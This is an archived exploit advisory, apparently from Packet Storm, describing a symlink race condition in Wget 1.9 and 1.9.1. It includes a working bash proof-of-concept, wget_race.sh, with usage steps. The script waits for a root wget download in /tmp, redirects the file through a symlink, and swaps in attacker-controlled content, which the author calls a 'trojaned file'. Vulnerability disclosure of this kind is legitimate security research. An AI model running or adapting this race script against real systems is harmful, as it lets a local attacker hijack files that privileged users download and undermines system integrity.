Exploit the possiblities

wgetuhoh.txt

wgetuhoh.txt
Posted May 18, 2004
Authored by Hugo Vazquez

Wget versions 1.9 and 1.9.1 are susceptible to a symlink attack during a phase where it downloads the file to a temporary filename but does not actually lock the file.

tags | exploit
MD5 | 7883f0415aa5768d71876d6b6214fc75

wgetuhoh.txt

Change Mirror Download


Tested software: Wget 1.9, Wget 1.9.1

Wget checks for the presence of a file with the same name of the one invoqued at the command line, if the file exists, then it saves the downloaded file with a different name. The problem is that Wget does not lock the file, and directly writes to it. So there's a window time where Wget is exposed to a symlink attack
(only on world writable directories)

This is the attack sequence:

1) Wget process starts
2) File checking (but not locking!)
<--- attacker creates symlink
3) Wget writes on the wrong place


As a P.o.C. here you have a very simple script that exploits this flaw with an attack I have called: "file hijacking".

1)Open a shell and execute wget_race.sh with user A.
2)Open another shell and with root user launch wget from /tmp:
wget http://www.kernel.org/pub/linux/kernel/v2.4/patch-2.4.26.bz2
3) Check the content of /tmp/patch-2.4.26.bz2

Smile :-)



--------------- wget_race.sh ------------------------
#!/bin/bash

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
do
ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
a=`cat salida.txt`
done

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
if [ -e .wget ]
then
c=0
echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
rm -f /tmp/patch-2.4.26.bz2
echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

ls -la /tmp/patch-2.4.26.bz2

else
b=`pgrep -u root wget`
touch $b.wget

fi

done

-----------------------------------------------------

This flaw open a wide range of attack vectors.
Any program wich runs wget from a world writable directory is vulnerable.



Hugo Vazquez Caram├ęs

hugo@infohacking.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    1 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close